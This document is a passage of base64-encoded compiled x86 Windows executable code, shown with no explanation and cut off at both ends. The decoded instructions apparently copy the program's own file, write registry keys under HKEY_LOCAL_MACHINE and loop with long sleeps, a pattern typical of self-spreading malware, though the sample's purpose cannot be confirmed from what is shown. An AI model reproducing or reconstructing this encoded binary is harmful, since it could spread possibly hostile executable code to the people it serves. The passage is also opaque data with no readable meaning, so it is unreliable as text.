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 